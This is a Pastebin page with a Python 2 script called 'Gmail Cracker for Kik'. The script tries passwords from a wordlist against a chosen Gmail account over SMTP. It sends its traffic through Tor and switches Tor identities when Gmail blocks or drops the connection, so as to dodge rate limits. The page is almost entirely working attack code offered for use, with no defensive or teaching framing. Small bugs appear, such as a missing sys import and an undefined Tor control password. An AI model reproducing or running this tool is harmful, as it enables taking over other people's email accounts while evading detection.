Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib
- import socket
- import socks
- import time
- socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
- socket.socket = socks.socksocket #set everything to go through the Tor network, including smtplib
- print "--------------------------------------------------"
- print "----- Gmail Cracker for Kik coded by Milenko -----"
- print "----- Coded April 14th, 2017 -----"
- print "--------------------------------------------------"
- print
- targetEmail = raw_input("Target gmail address: ")
- passwordList = raw_input("Password list to use: ")
- pwList = open(passwordList, "r").read().split() #Load passwords from file
- def getNewTorIdentity():
- try:
- tor_c = socket.create_connection(("127.0.0.1", 9051))
- tor_c.send('AUTHENTICATE "{}"\r\nSIGNAL NEWNYM\r\n'.format(TOR_CTRL_PWD))
- response = tor_c.recv(1024)
- if response != '250 OK\r\n250 OK\r\n':
- sys.stderr.write('Unexpected response from Tor control port: {}\n'.format(response))
- else:
- print "[+] Successfully got new Tor identity!"
- except Exception, e:
- sys.stderr.write('Error connecting to Tor control port: {}\n'.format(repr(e)))
- def tryConnect():
- try:
- mailserver = smtplib.SMTP('smtp.gmail.com',587)
- # identify ourselves to smtp gmail client
- mailserver.ehlo()
- # secure our email with tls encryption
- mailserver.starttls()
- # re-identify ourselves as an encrypted connection
- mailserver.ehlo()
- print "[+] Connected to gmails SMTP"
- return mailserver
- except:
- time.sleep(10)
- print "[.] Failed to connecto to gmails SMTP. Switching Tor identities...."
- getNewTorIdentity()
- tryConnect()
- print "[+] Starting brute..."
- mailserver = tryConnect()
- for pw in pwList:
- print "[.] Trying " + pw
- try:
- try:
- mailserver.login(targetEmail, pw)
- time.sleep(5); #If we got here we logged in!!!
- mailserver.quit()
- print "[+] Brute successful! Password is " + pw + " for " + targetEmail
- except smtplib.SMTPAuthenticationError:
- continue
- except: #cant connect to gmail or blocked by gmail
- mailserver = tryConnect()
- print "[.] Brute finished. No password found."
Add Comment
Please, Sign In to add comment